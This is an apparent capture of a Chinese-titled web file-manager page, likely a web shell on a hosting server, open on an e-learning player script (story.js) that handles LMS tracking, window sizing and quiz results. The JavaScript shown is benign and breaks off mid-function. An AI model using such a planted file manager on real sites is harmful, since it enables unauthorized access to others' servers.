芝麻web文件管理V1.00
编辑当前文件:/home/prismawe/clients/_syntaxis.fr/wp-content/uploads/2014/03/formation/1/story_content/story.js
// Browser Sniffing var IE = ((document.all)&&(navigator.appVersion.indexOf("MSIE")!=-1)) ? true : false; var IE6 = ((document.all)&&(navigator.appVersion.indexOf("MSIE 6.")!=-1)) ? true : false; var FF = (navigator.userAgent.indexOf("Firefox")!=-1) ? true : false; var Safari3 = (navigator.appVersion.indexOf("Safari") && navigator.appVersion.indexOf("Version/3")); // Message Delimitors var g_strDelim = "|~|"; var g_strInteractionDelim = "|#|"; var g_oContentResults = new ContentResults(); var g_listQuizzes = new Object(); var g_oPrintOptions = new Object(); // LMS Support var g_bLMSPresent = false; if (g_bLMS) { document.write("
<\/SCR" + "IPT>"); } if (g_bAOSupport) { document.write("
<\/SCR" + "IPT>"); } var g_strQuery = document.location.search.substr(1); // Write the swf object function WriteSwfObject(strSwfFile, nWidth, nHeight, strScale, strAlign, strQuality, strBgColor, bCaptureRC, strWMode, strFlashVars) { var strHtml = ""; if (strScale == "show all") { nWidth = "100%"; nHeight = "100%"; } // If there are flashvars defined append a delimitor if (strFlashVars != "") { strFlashVars += "&"; } strFlashVars += "vHtmlContainer=true"; strFlashVars += "&TinCan=" + (g_bTinCan ? "true" : "false"); if (navigator.userAgent.toLowerCase().indexOf("chrome") >= 0) { strWMode = "opaque"; } if (bCaptureRC && strWMode == "window") { strFlashVars += "&vCaptureRC=true"; strWMode = "opaque"; } // Whether or not we are loaded by an LMS strFlashVars += "&vLMSPresent=" + g_bLMSPresent; // Whether or not we are loaded by AO strFlashVars += "&vAOSupport=" + g_bAOSupport; // Set the LMS Resume data if (g_bLMSPresent) { RetrieveStateData(); strFlashVars += "&vResumeData=" + encodeURI(g_strResumeData); } strFlashVars += "&vProjector=" + g_bProjector; var strLocProtocol = location.protocol; if (strLocProtocol.indexOf("file") >= 0) { strLocProtocol = "http:"; } strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; strHtml += "
"; document.write(strHtml); if (bCaptureRC) { AddRightClickListener(); } } //////////////////////////////////////////////////////////////////////////////// // Flash Comm //////////////////////////////////////////////////////////////////////////////// function onBWEvent(command, args) { args = unescape(args); command = String(command); var arrArgs = args.split(g_strDelim); switch(command) { case "BW_UpdateViewStatus": g_oContentResults.strStatus = arrArgs[0]; g_oContentResults.strType = arrArgs[1]; break; case "BW_UpdateStatus": g_oContentResults.strStatus = arrArgs[0]; g_oContentResults.nScore = arrArgs[1]; // Min Score - arrArgs[2] // Max Score - arrArgs[3] g_oContentResults.nPassingScore = arrArgs[4]; g_oContentResults.strType = arrArgs[5]; g_oContentResults.dtmFinished = new Date(); break; case "BW_StoreQuestionResult": var strQuizId = arrArgs[0]; var strId = arrArgs[1]; var strLMSId = arrArgs[2]; var strType = arrArgs[3]; var strCorrectResponse = arrArgs[4]; var strUserResponse = arrArgs[5]; var nLatency = arrArgs[6]; var strStatus = arrArgs[7]; var nPoints = arrArgs[8]; var strCompletedTime = arrArgs[9]; var nWeight = arrArgs[10]; var nQuestionNumber = arrArgs[11]; var strDescription = arrArgs[12]; var strQuizName = arrArgs[13]; var bTracked = (arrArgs[14] == "true"); if (g_listQuizzes[strQuizId] == null) { g_listQuizzes[strQuizId] = new QuizData(strQuizId, strQuizName); } var oResult = new QuestionResults(strId, strLMSId, strType, strCorrectResponse, strUserResponse, nLatency, strStatus, nPoints, strCompletedTime, nWeight, nQuestionNumber, strDescription, bTracked); g_listQuizzes[strQuizId].AddQuestionResult(oResult); break; case "BW_UpdateQuizResults": var strQuizId = arrArgs[0]; var strQuizName = arrArgs[1]; var nPassScore = arrArgs[2]; var nPassPercent = arrArgs[3]; var nScore = arrArgs[4]; var nPercentScore = arrArgs[5]; if (g_listQuizzes[strQuizId] == null) { g_listQuizzes[strQuizId] = new QuizData(strQuizId, strQuizName); } g_listQuizzes[strQuizId].nPassingScore = nPassPercent; g_listQuizzes[strQuizId].nPtScore = nPercentScore; g_listQuizzes[strQuizId].dtmFinished = new Date(); break; case "BW_PrintResults": g_oPrintOptions.bShowUserScore = (arrArgs[0] == "true"); g_oPrintOptions.bShowPassingScore = (arrArgs[1] == "true"); g_oPrintOptions.bShowShowPassFail = (arrArgs[2] == "true"); g_oPrintOptions.bShowQuizReview = (arrArgs[3] == "true"); g_oPrintOptions.strName = arrArgs[4]; g_oPrintOptions.strMainQuizId = arrArgs[5]; g_oPrintOptions.arrQuizzes = arrArgs[6].split(","); window.open(GetBasePath() + g_strContentFolder + "/report.html", "Reports") break; case "BW_EmailResults": EmailResults(arrArgs[0] == "true", arrArgs[1] == "true", arrArgs[2] == "true", arrArgs[3] == "true", arrArgs[4], arrArgs[5], arrArgs[6].split(",")); break; case "BW_UpdateWebObjects": UpdateWebObjects(parseInt(arrArgs[0]), parseInt(arrArgs[1])); break; case "BW_OpenWebObject": OpenWebObject(arrArgs[0], arrArgs[1], parseInt(arrArgs[2]), parseInt(arrArgs[3]), parseInt(arrArgs[4]), parseInt(arrArgs[5]), parseInt(arrArgs[6]), parseInt(arrArgs[7])) break; case "BW_CloseWebObject": CloseWebObject(arrArgs[0]); break; case "BW_MailTo": MailTo(arrArgs[0]); break; case "BW_OpenUrl": OpenUrl(arrArgs[0], arrArgs[1], arrArgs[2], arrArgs[3], arrArgs[4], arrArgs[5], arrArgs[6], arrArgs[7], arrArgs[8], arrArgs[9], arrArgs[10], arrArgs[11]); break; case "BW_CloseAllWebObjects": CloseAllWebObjects(arrArgs[0]); break; case "BW_RestoreWebObjects": RestoreWebObjects(); break; case "BW_ExecuteJavascript": ExecuteScript(arrArgs[0]); break; case "BW_OpenSwf": OpenSwfWindow(arrArgs[0], arrArgs[1], arrArgs[2], arrArgs[3], arrArgs[4], arrArgs[5], arrArgs[6], arrArgs[7], arrArgs[8]); break; case "BW_ResizeSwf": ResizeSwf(arrArgs[0], arrArgs[1]); break; case "BW_ClosePlayer": if (!g_bLMS) { if (FF) { setTimeout("CloseWindow()", 100); } else { CloseWindow(); } } break; case "BW_OpenVideo": OpenVideo(arrArgs[0], arrArgs[1], arrArgs[2], arrArgs[3], arrArgs[4], arrArgs[5], arrArgs[6], arrArgs[7], arrArgs[8], arrArgs[9], arrArgs[10], arrArgs[11], arrArgs[12], arrArgs[13], arrArgs[14], arrArgs[15], arrArgs[16]) break; case "BW_RestoreFocus": var oPlayer = GetPlayer(); try { oPlayer.tabIndex = 0; oPlayer.focus(); } catch (e) { } break; case "BW_TincanConfigError": TinCanConfigError(); break; } if (g_bLMS) { lms_DoFSCommand(command, args); } if (g_bAOSupport) { AO_DoFSCommand(command, args); } } //////////////////////////////////////////////////////////////////////////////// // Retrieve the player object //////////////////////////////////////////////////////////////////////////////// function GetPlayer() { var player = null; if (IE) { player = document.getElementById("player"); } else { player = document.getElementById("eplayer"); } return player; } //////////////////////////////////////////////////////////////////////////////// // Close the player //////////////////////////////////////////////////////////////////////////////// function CloseWindow() { top.window.close(); } //////////////////////////////////////////////////////////////////////////////// // Browser Resize //////////////////////////////////////////////////////////////////////////////// var g_nWindowWidth = 0; var g_nWindowHeight = 0; var g_nSizeInterval = null; var g_nIntervalCount = 0; function ResizeBrowser(strBrowserSize) { switch (strBrowserSize) { case "fullscreen": ResizeFullScreen(); break; case "optimal": ResizeOptimal(); break; } } function ResizeFullScreen() { top.moveTo(0, 0); top.window.resizeTo(screen.availWidth, screen.availHeight); } function ResizeOptimal() { var nFrameWidth = 0; var nFrameHeight = 0; var nXPos = GetXPos(); var nYPos = GetYPos(); var bMove = false; g_nWindowWidth = g_nWidth + 30; g_nWindowHeight = g_nHeight + 30; if (screen.availWidth > g_nWindowWidth && screen.availHeight > g_nWindowHeight) { if (GetContentWidth() != g_nWidth || GetContentHeight() != g_nHeight) { // First we need to reposition the browser so that it can actually grow to the appropiate size. // When positioning, we will overestimate the browser height by 160 if possible to accomadate the toolbar and statusbar if (nXPos + g_nWindowWidth > screen.availWidth) { bMove = true; nXPos = screen.availWidth - g_nWindowWidth - 5; } if (nYPos + g_nWindowHeight + 160 > screen.availHeight) { bMove = true; nYPos = screen.availHeight - g_nWindowHeight - 165; } if (nXPos < 0) { nXPos = 0; } if (nYPos < 0) { nYPos = 0; } if (bMove) { top.window.moveTo(nXPos, nYPos); } // Resize the window so we know what the actual size is top.window.resizeTo(g_nWindowWidth, g_nWindowHeight); // Since we know the actual browser size, and we can query the cliet dim, lets get the frame dim nFrameWidth = (g_nWindowWidth) - GetContentWidth(); nFrameHeight = (g_nWindowHeight) - GetContentHeight(); // Not lets resize it to the correct size g_nWindowWidth = g_nWidth + nFrameWidth; g_nWindowHeight = g_nHeight + nFrameHeight; top.window.resizeTo(g_nWindowWidth, g_nWindowHeight); if (IE) { // ok, sometimes there is a third party toolbar that doesn't load until after we have finish resizing everything, so we will do a check for this (this only seems to effect IE, FF behaves correctly) g_nSizeInterval = setInterval(CheckSize, 500); } } } else { // If the screen isn't big enough, we are bailing and defaulting to Full Screen ResizeFullScreen(); } } function CheckSize() { var nContentWidth = GetContentWidth(); var nContentHeight = GetContentHeight(); var nFrameWidth = 0; var nFrameHeight = 0; g_nIntervalCount++; if (nContentWidth != g_nWidth || nContentHeight != g_nHeight) { nFrameWidth = g_nWindowWidth - nContentWidth; nFrameHeight = g_nWindowHeight - nContentHeight; g_nWindowWidth = g_nWidth + nFrameWidth; g_nWindowHeight = g_nHeight + nFrameHeight; top.window.resizeTo(g_nWindowWidth, g_nWindowHeight); clearInterval(g_nSizeInterval); } if (g_nIntervalCount > 4) { clearInterval(g_nSizeInterval); } } function GetContentWidth() { var nResult = 0; if (IE || Safari3) { nResult = document.body.clientWidth; } else { nResult = window.innerWidth; } return nResult; } function GetContentHeight() { var nResult = 0; if (IE || Safari3) { nResult = nContentHeight = document.body.clientHeight; } else { nResult = nContentHeight = window.innerHeight; } return nResult } function GetXPos() { var nResult = 0; if (IE) { nResult = window.screenLeft; } else { nResult = window.screenX; } return nResult; } function GetYPos() { var nResult = 0; if (IE) { nResult = window.screenTop; } else { nResult = window.screenY; } return nResult; } function ResizeSwf(nWidth, nHeight) { var oPlayer = GetPlayer(); oPlayer.width = nWidth; oPlayer.height = nHeight; var divPlayer = document.getElementById("divSwf"); divPlayer.style.width = nWidth; divPlayer.style.height = nHeight } //////////////////////////////////////////////////////////////////////////////// // On Close Handling //////////////////////////////////////////////////////////////////////////////// var g_bCloseExecuted = false; function DoOnClose(evt) { if (!g_bCloseExecuted) { g_bCloseExecuted = true; if (g_bLMS) { LMSUnload(); } if (g_bAOSupport) { DoAOOnUnload(); } if (g_bTinCan) { CheckTinCanComplete(); } } } //////////////////////////////////////////////////////////////////////////////// // WebObject support //////////////////////////////////////////////////////////////////////////////// var g_oWebObjects = new Object(); var g_arrStoredWebObjects = new Array(); function UpdateWebObjects(nSlideXOffset, nSlideYOffset) { for (var items in g_oWebObjects) { var oWebObject = g_oWebObjects[items]; oWebObject.Position.SlideXOffset = nSlideXOffset; oWebObject.Position.SlideYOffset = nSlideYOffset; } // setTimeout("RepositionDivs()", 100); RepositionDivs(); } function OpenWebObject(strId, strUrl, nXPos, nYPos, nWidth, nHeight, nSlideXOffset, nSlideYOffset) { var oWebObject = g_oWebObjects[strId]; if (!oWebObject) { oWebObject = new Object(); oWebObject.strId = strId; oWebObject.strInitUrl = strUrl; // Create the DIV oWebObject.Div = document.createElement('div'); oWebObject.Div.style.position = "absolute"; // Create the iframe var oIFrame = document.createElement('iframe'); oIFrame.frameBorder = "0"; oIFrame.id = "div" + strId; oIFrame.style.border = "0"; oIFrame.style.width = "100%"; oIFrame.style.height = "100%"; oIFrame.allowtransparency = "true"; oWebObject.Div.appendChild(oIFrame); oWebObject.IFrame = oIFrame; // Append Child var oTarget = document.getElementById('divWebObjects'); oTarget.appendChild(oWebObject.Div); g_oWebObjects[strId] = oWebObject; oIFrame.src = strUrl; setTimeout("RepositionDivs()", 100); } else { var oTarget = document.getElementById('divWebObjects'); oTarget.removeChild(oWebObject.Div); oTarget.appendChild(oWebObject.Div); } oWebObject.Open = true; if (oWebObject.strUrl != strUrl || oWebObject.Div.style.visibility != "visible") { oWebObject.IFrame.src = strUrl; oWebObject.strUrl = strUrl; var oPosition = new Object(); oPosition.XPos = nXPos; oPosition.YPos = nYPos; oPosition.Width = nWidth; oPosition.Height = nHeight; oPosition.SlideXOffset = nSlideXOffset; oPosition.SlideYOffset = nSlideYOffset; oWebObject.Position = oPosition; var oRect = GetDivRect(oPosition); oWebObject.Div.style.left = oRect.left + "px"; oWebObject.Div.style.top = oRect.top + "px"; oWebObject.Div.style.width = oRect.width + "px"; oWebObject.Div.style.height = oRect.height + "px"; oWebObject.Div.style.visibility = "visible"; } } function RestoreWebObjects() { var oWebObject = null; for (var i = 0; i < g_arrStoredWebObjects.length; i++) { oWebObject = g_oWebObjects[g_arrStoredWebObjects[i]]; OpenWebObject(oWebObject.strId, oWebObject.strInitUrl, oWebObject.Position.XPos, oWebObject.Position.YPos, oWebObject.Position.Width, oWebObject.Position.Height, oWebObject.Position.SlideXOffset, oWebObject.Position.SlideYOffset) } g_arrStoredWebObjects = new Array(); } function CloseAllWebObjects(strStore) { var bStore = (strStore == "true"); for (var items in g_oWebObjects) { var oWebObject = g_oWebObjects[items]; if (bStore && oWebObject.Open) { g_arrStoredWebObjects.push(items); } CloseWebObject(items); } } function CloseWebObject(strId) { var oWebObject = g_oWebObjects[strId]; oWebObject.Div.style.visibility = "hidden"; oWebObject.IFrame.src = g_strContentFolder + "/blank.html"; oWebObject.strUrl = ""; oWebObject.Open = false; } function GetDivRect(oPosition) { var oRect = new Object(); var nClientWidth = GetContentWidth(); var nClientHeight = GetContentHeight(); var nLeftMargin = 0; var nSwfWidth = parseInt(g_nWidth); var nSwfHeight = parseInt(g_nHeight); if (g_strScale == "noscale") { nLeftMargin = (nClientWidth - nSwfWidth) / 2; nTopMargin = (nClientHeight - nSwfHeight) / 2; if (nLeftMargin < 0) { nLeftMargin = 0; } if (nTopMargin < 0) { nTopMargin = 0; } oRect.left = nLeftMargin + oPosition.SlideXOffset + oPosition.XPos; oRect.top = nTopMargin + oPosition.SlideYOffset + oPosition.YPos; oRect.width = oPosition.Width; oRect.height = oPosition.Height; } else { var nXScale = nClientWidth / nSwfWidth; var nYScale = nClientHeight / nSwfHeight; var nScale = nXScale; var bXScale = true; var nTopMargin = 0; var nLeftMargin = 0; if (nYScale < nScale) { nScale = nYScale; } nTopMargin = (nClientHeight - nSwfHeight * nScale) / 2; nLeftMargin = (nClientWidth - nSwfWidth * nScale) / 2; oRect.left = nLeftMargin + (oPosition.SlideXOffset + oPosition.XPos) * nScale; oRect.top = nTopMargin + (oPosition.SlideYOffset + oPosition.YPos) * nScale; oRect.width = Math.floor(oPosition.Width * nScale); oRect.height = Math.floor(oPosition.Height * nScale); } return oRect; } function RepositionDivs() { for (items in g_oWebObjects) { var oWebObject = g_oWebObjects[items]; var oRect = GetDivRect(oWebObject.Position); oWebObject.Div.style.left = oRect.left + "px"; oWebObject.Div.style.top = oRect.top + "px"; oWebObject.Div.style.width = oRect.width + "px"; oWebObject.Div.style.height = oRect.height + "px"; } } window.onresize = RepositionDivs; //////////////////////////////////////////////////////////////////////////////// // Open Url //////////////////////////////////////////////////////////////////////////////// function OpenUrl(strUrl, strWindow, strWindowSize, strWidth, strHeight, strUseDefaultControls, strStatus, strToolbar, strLocation, strMenubar, strScrollbars, strResizable) { var nWndWidth = parseInt(strWidth); var nWndHeight = parseInt(strHeight); var bUseDefaultSize = (strWindowSize.toLowerCase() == "default"); var bUseDefaultControls = (strUseDefaultControls.toLowerCase() == "true"); var bFullScreen = (strWindowSize.toLowerCase() == "fullscreen"); strUrl = ReplaceAll(strUrl, "%25", "?"); if (bFullScreen) { nWndWidth = screen.availWidth; nWndHeight = screen.availHeight; } else { if (nWndWidth > screen.availWidth) { nWndWidth = screen.availWidth; } if (nWndHeight > screen.availHeight) { nWndHeight = screen.availHeight; } } var strOptions = ""; if (!bUseDefaultControls) { if (!bUseDefaultSize) { strOptions += "width=" + nWndWidth + ", "; strOptions += "height=" + nWndHeight + ", "; } strOptions += "status=" + ((strStatus.toLowerCase() == "true") ? 1 : 0); strOptions += ", toolbar=" + ((strToolbar.toLowerCase() == "true") ? 1 : 0); strOptions += ", scrollbars=" + ((strScrollbars.toLowerCase() == "true") ? 1 : 0); strOptions += ", resizable=" + ((strResizable.toLowerCase() == "true") ? 1 : 0); strOptions += ", alwaysRaised=1"; } else { strOptions += "status=1"; strOptions += ", toolbar=1"; strOptions += ", scrollbars=1"; strOptions += ", resizable=1"; strOptions += ", alwaysRaised=1"; } var oNewWnd; if (bUseDefaultSize && bUseDefaultControls) { g_wndLast = window.open(strUrl, strWindow, strOptions); } else if (bUseDefaultControls) { if (IE) { oNewWnd = window.open(GetBasePath() + g_strContentFolder + "/blank.html", strWindow, "alwaysRaised=true"); if (bFullScreen) { oNewWnd.moveTo(0, 0); } oNewWnd.resizeTo(nWndWidth, nWndHeight); oNewWnd.document.location = strUrl; } else { oNewWnd = window.open(strUrl, strWindow, "alwaysRaised=true"); oNewWnd.resizeTo(nWndWidth, nWndHeight); } g_wndLast = oNewWnd; } else { oNewWnd = window.open(strUrl, strWindow, strOptions); g_wndLast = oNewWnd; } if (bFullScreen && !(bUseDefaultControls && IE)) { oNewWnd.moveTo(0, 0); } } function ReplaceAll(strTarget, strChar, strNew) { var arrRemoved = strTarget.split(strChar); return arrRemoved.join(strNew); } //////////////////////////////////////////////////////////////////////////////// // Open Swf Window //////////////////////////////////////////////////////////////////////////////// var g_oSwfInfo = new Object(); var g_wndSwf; var g_wndLast; function OpenSwfWindow(strFileName, nWidth, nHeight, strStatus, strToolbar, strLocation, strMenubar, strScrollbars, strResizable) { var strScroll = "0"; g_oSwfInfo.strContentFolder = g_strContentFolder; g_oSwfInfo.strFileName = strFileName; g_oSwfInfo.nWidth = parseInt(nWidth); g_oSwfInfo.nHeight = parseInt(nHeight); if (g_oSwfInfo.nWidth > screen.availWidth) { g_oSwfInfo.nWidth = screen.availWidth; strScroll = "1"; } if (g_oSwfInfo.nHeight > screen.availHeight) { g_oSwfInfo.nHeight = screen.availHeight; strScroll = "1"; } var strSearch = ""; strSearch += "path=" + g_strContentFolder + "&"; strSearch += "file=" + strFileName + "&"; strSearch += "w=" + nWidth + "&"; strSearch += "h=" + nHeight; var strOptions = ""; strOptions += "width=" + g_oSwfInfo.nWidth; strOptions += ", height=" + g_oSwfInfo.nHeight; strOptions += ", status=" + ((strStatus.toLowerCase() == "true") || true ? 1 : 0); strOptions += ", toolbar=" + ((strToolbar.toLowerCase() == "true") || true ? 1 : 0); strOptions += ", location=" + ((strLocation.toLowerCase() == "true") || true ? 1 : 0); strOptions += ", menubar=" + ((strMenubar.toLowerCase() == "true") || true ? 1 : 0); strOptions += ", scrollbars=" + ((strScrollbars.toLowerCase() == "true") || true ? 1 : 0); strOptions += ", resizable=" + ((strResizable.toLowerCase() == "true") || true ? 1 : 0); if (g_wndSwf) { try { g_wndSwf.close() } catch (e) { } } g_wndSwf = window.open(GetBasePath() + g_strContentFolder + "/swf.html?" + strSearch, "SwfWnd", strOptions); g_wndLast = g_wndSwf; } function GetBasePath() { var strFullPath = document.location.href; var nPosHash = strFullPath.indexOf("#"); if (nPosHash > 0) { strFullPath = strFullPath.substring(0, nPosHash); } var nPos1 = -1; var nPos2 = -1; nPos1 = strFullPath.lastIndexOf("\\"); nPos2 = strFullPath.lastIndexOf("/"); if (nPos2 > nPos1) { nPos1 = nPos2; } if (nPos1 >= 0) { strFullPath = strFullPath.substring(0, nPos1 + 1); } return(strFullPath); } //////////////////////////////////////////////////////////////////////////////// // Video //////////////////////////////////////////////////////////////////////////////// function OpenVideo(strUrl, strWndWidth, strWndHeight, strVidWidth, strVidHeight, strDuration, strPlaybar, strVolume, strAutoPlay, strStatus, strToolbar, strLocation, strMenubar, strScrollbars, strResizable, strType, strASVersion) { var nWndWidth = parseInt(strWndWidth); var nWndHeight = parseInt(strWndHeight); var strSearch = "exUrl=" + strUrl + "&exWndWidth=" + strWndWidth + "&exWndHeight=" + strWndHeight + "&exWidth=" + strVidWidth + "&exHeight=" + strVidHeight + "&exDuration=" + strDuration + "&exPlaybar=" + strPlaybar + "&exVolume=" + strVolume + "&exAutoPlay=" + strAutoPlay + "&exType=" + strType + "&exASVersion=" + strASVersion; if (nWndWidth > screen.availWidth) { nWndWidth = screen.availWidth; } if (nWndHeight > screen.availHeight) { nWndHeight = screen.availHeight; } var strOptions = ""; strOptions += "width=" + nWndWidth; strOptions += ", height=" + nWndHeight; strOptions += ", status=" + ((strStatus.toLowerCase() == "true") ? 1 : 0); strOptions += ", toolbar=" + ((strToolbar.toLowerCase() == "true") ? 1 : 0); strOptions += ", location=" + ((strLocation.toLowerCase() == "true") ? 1 : 0); strOptions += ", menubar=" + ((strMenubar.toLowerCase() == "true") ? 1 : 0); strOptions += ", scrollbars=" + ((strScrollbars.toLowerCase() == "true") ? 1 : 0); strOptions += ", resizable=" + ((strResizable.toLowerCase() == "true") ? 1 : 0); if (g_wndSwf) { try { g_wndSwf.close() } catch (e) { } } var nXPos = 0; var nYPos = 0; var nWidth = screen.availWidth; var nHeight = screen.availHeight; if (window.screenX != undefined) { nXPos = window.screenX; nYPos = window.screenY; nWidth = window.innerWidth; nHeight = window.innerHeight; } else if (window.screenLeft != undefined) { nXPos = window.screenLeft; nYPos = window.screenTop; nWidth = document.body.offsetWidth; nHeight = document.body.offsetHeight; } strOptions += ", left=" + (nXPos + (nWidth - nWndWidth)/2); strOptions += ", screenX=" + (nXPos + (nWidth - nWndWidth)/2); strOptions += ", top=" + (nYPos + (nHeight - nWndHeight)/2); strOptions += ", screenY=" + (nYPos + (nHeight - nWndHeight)/2); g_wndSwf = window.open(GetBasePath() + g_strContentFolder + "/VideoPlayer.html?" + strSearch, "Video", strOptions); g_wndLast = g_wndSwf; } //////////////////////////////////////////////////////////////////////////////// // Right click support //////////////////////////////////////////////////////////////////////////////// var g_bSetCapture = false; function AddRightClickListener() { if (IE) { divSwf.onmousedown = IEMouseDown; divSwf.onmouseup = IEMouseUp divSwf.oncontextmenu = DivContextMenu; } else { window.addEventListener('mousedown', NSMouseDown(), true); window.addEventListener('mouseup', NSMouseUp(), true); } } function IEMouseDown(evt) { if (event.button == 2) { if (NotifyRightDown("player")) { divSwf.setCapture(); g_bSetCapture = true; } } } function IEMouseUp() { if (event.button == 2) { NotifyRightUp("player"); } if (g_bSetCapture) { g_bSetCapture = false; divSwf.releaseCapture(); } } function DivContextMenu() { return false; } function NSMouseDown() { return function(evt) { if (evt.button == 2) { if (NotifyRightDown(evt.target.id)) { evt.stopPropagation(); evt.preventDefault(); } } } } function NSMouseUp() { return function(evt) { if (evt.button == 2) { if (NotifyRightUp(evt.target.id)) { evt.stopPropagation(); evt.preventDefault(); } } } } function NotifyRightDown(strId) { var bResult = false; if (strId == "player" || strId == "eplayer") { var oPlayer = GetPlayer(); bResult = oPlayer.NotifyRightMouseDown(); } return bResult; } function NotifyRightUp(strId) { var bResult = false; if (strId == "player" || strId == "eplayer") { var oPlayer = GetPlayer(); bReuslt = oPlayer.NotifyRightMouseUp(); } return bResult; } function MailTo(strAddress) { document.location = "mailto:" + strAddress; } function EmailResults(bShowUserScore, bShowPassingScore, bShowPassFail, bShowQuizReview, strAddress, strMainQuizId, arrQuizzes) { var strNewLine = "\n"; if (IE) { strNewLine = "%0D%0A"; } var strTitle = g_listQuizzes[strMainQuizId].strQuizName; var g_strSubject = "Quiz Results: " + strTitle; var strQuizResults = ""; var strMainHeader = " " + strTitle + strNewLine + "Status, Score, Passing Score, Max Score, Min Score, Time" + strNewLine; var strLineHeader = strNewLine + strNewLine + "Date, Time, Score, Quiz Name, Interaction ID, Interaction Type, Student Response, Result, Weight, Latency" + strNewLine; var strMainData = strNewLine; var strLineData = strNewLine; var oQuizResult = g_listQuizzes[strMainQuizId]; // Status var nPtScore = Number(oQuizResult.nPtScore); var nPassScore = Number(oQuizResult.nPassingScore); var strStatus = (nPtScore >= nPassScore) ? "Pass" : "Fail"; strMainData += strStatus strMainData += ","; // Score strMainData += nPtScore + ","; // Passing Score strMainData += nPassScore + ","; // Max Score strMainData += 100 + ","; // Min Score strMainData += 0 + ","; // Time strMainData += GetTime(oQuizResult.dtmFinished); // for (strQuizId in g_listQuizzes) for (var j = 0; j < arrQuizzes.length; j++) { strQuizId = arrQuizzes[j]; oQuizData = g_listQuizzes[strQuizId]; var arrQuestions = oQuizData.arrQuestions; for (var i = 0; i < arrQuestions.length; i++) { //Date strLineData += GetDate(new Date()) + ","; // Time strLineData += arrQuestions[i].strCompletedTime + ","; // Score strLineData += arrQuestions[i].nPoints + ","; // Quiz Name strLineData += oQuizData.strQuizName + ","; // Objective Id strLineData += arrQuestions[i].strLMSId + ","; // Interaction Type strLineData += arrQuestions[i].strType + ","; // Student Response var strResponse = arrQuestions[i].strUserResponse; strResponse = ReplaceAll(strResponse, "'", "%27"); strLineData += strResponse + ","; // Result strLineData += arrQuestions[i].strStatus + ","; // Weight strLineData += arrQuestions[i].nWeight + ","; // Latency strLineData += arrQuestions[i].nLatency; strLineData += strNewLine; } } strQuizResults = strMainHeader + strMainData + strLineHeader + strLineData; var sHTML = ""; if (IE) { sHTML += '
'; } else { sHTML += '
'; sHTML += '
'; } sHTML += '
'; sHTML += '
'; document.getElementById("divEmail").innerHTML = sHTML; document.getElementById("formQuiz").submit(); } //////////////////////////////////////////////////////////////////////////////// // Get Time //////////////////////////////////////////////////////////////////////////////// function GetTime(dtmDate) { var strResult = ""; var nHours = dtmDate.getHours(); var strAM = "am"; var nMinutes = dtmDate.getMinutes(); var strMinutes = "" + nMinutes; var nSeconds = dtmDate.getSeconds(); var strSeconds = "" + nSeconds; if (nMinutes < 10) { strMinutes = "0" + nMinutes; } if (nSeconds < 10) { strSeconds = "0" + nSeconds; } strResult = nHours + ":" + strMinutes + ":" + strSeconds; return strResult; } function GetDate(dtmDate) { var strResult = ""; strResult = (dtmDate.getMonth() + 1) + "/" + dtmDate.getDate() + "/" + dtmDate.getFullYear(); return strResult; } //////////////////////////////////////////////////////////////////////////////// // Results data //////////////////////////////////////////////////////////////////////////////// function QuizData(strQuizId, strQuizName) { this.strQuizId = strQuizId; this.strQuizName = strQuizName; this.arrQuestions = new Array(); this.dtmFinished = new Date(); this.strStatus = ""; this.nScore = 0; this.nPassingScore = 80; this.nMinScore = 0; this.nMaxScore = 100; this.nPtScore = 0; this.nPtMax = 100; this.AddQuestionResult = function(oQuestionResult) { var bFound = false; for (var i = 0; i < this.arrQuestions.length; i++) { if (this.arrQuestions[i].nQuestionNumber == oQuestionResult.nQuestionNumber) { this.arrQuestions[i] = oQuestionResult; bFound = true; } } if (!bFound) { this.arrQuestions.push(oQuestionResult); } } } function ContentResults() { this.dtmFinished = new Date(); this.nPassingScore = 80; this.nScore = 0; this.strStatus = "incomplete"; this.strType = "quiz"; } function QuestionResults(strId, strLMSId, strType, strCorrectResponse, strUserResponse, nLatency, strStatus, nPoints, strCompletedTime, nWeight, nQuestionNumber, strDescription, bTracked) { this.strId = strId; this.strLMSId = strLMSId; this.strType = strType; this.strCorrectResponse = strCorrectResponse; this.strUserResponse = strUserResponse; this.nLatency = nLatency; this.strStatus = strStatus; this.nPoints = nPoints; this.strCompletedTime = strCompletedTime; this.nWeight = nWeight; this.nQuestionNumber = nQuestionNumber; this.strDescription = strDescription; this.bTracked = bTracked; /* this.AlertResults = function() { var strTemp = "Id: " + strId + "\nType: " + strType + "\nCorrectResponse: " + strCorrectResponse + "\nUserResponse: " + strUserResponse + "\nLatency: " + nLatency + "\nStatus: " + strStatus + "\nPoints: " + nPoints + "\nCompletedTime: " + strCompletedTime + "\nWeight: " + nWeight + "\nQuestionNumber: " + nQuestionNumber + "\nDescription: " + strDescription; alert(strTemp); }*/ } /****************************************************/ // Tin Can /****************************************************/ var TYPE_RESUME_SAVE = 1; var TYPE_RESUME_RESTORE = 2; var TYPE_TRACKING = 3; var g_bWaitingTinCanResponse = false; var g_arrTinCanMsgQueue = new Array(); var g_oCurrentRequest = null; var g_bStopPosting = false; var g_bFatalError = false; function GetTinCanData() { return decodeURIComponent(g_strQuery); } function SendTinCanRequest(nMessageType, strMethod, strData, strUrl, arrHeaders) { var oTinCanRequest = new Object(); oTinCanRequest.MessageType = nMessageType; oTinCanRequest.Method = strMethod; oTinCanRequest.Data = unescape(strData); oTinCanRequest.Url = strUrl; oTinCanRequest.Headers = arrHeaders; SendRequest(oTinCanRequest) } function SendRequest(oTinCanRequest) { if (g_bWaitingTinCanResponse || g_bStopPosting) { g_arrTinCanMsgQueue.push(oTinCanRequest); } else { g_oCurrentRequest = oTinCanRequest; PostAsyncRequest(oTinCanRequest.MessageType, oTinCanRequest.Method, oTinCanRequest.Data, oTinCanRequest.Url, oTinCanRequest.Headers) } } function PostAsyncRequest(nMessageType, strMethod, strData, strUrl, arrHeaders) { try { if (UseXDomainRequest(strUrl)) { PostXDomainRequest(nMessageType, strMethod, strData, strUrl, arrHeaders, false); } else { PostXmlHttp(nMessageType, strMethod, strData, strUrl, arrHeaders); } } catch (error) { if (confirm("Unable to connect to server. Please verify that you are connected to the internet. Retry?")) { g_bWaitingTinCanResponse = false; SendRequest(g_oCurrentRequest); return; } else { g_bStopPosting = true; g_bFatalError = true; GetPlayer().FatalTinCanError(0); } } } function PostXDomainRequest(nMessageType, strMethod, strData, strUrl, arrHeaders, bSync) { var xDomain = new XDomainRequest(); 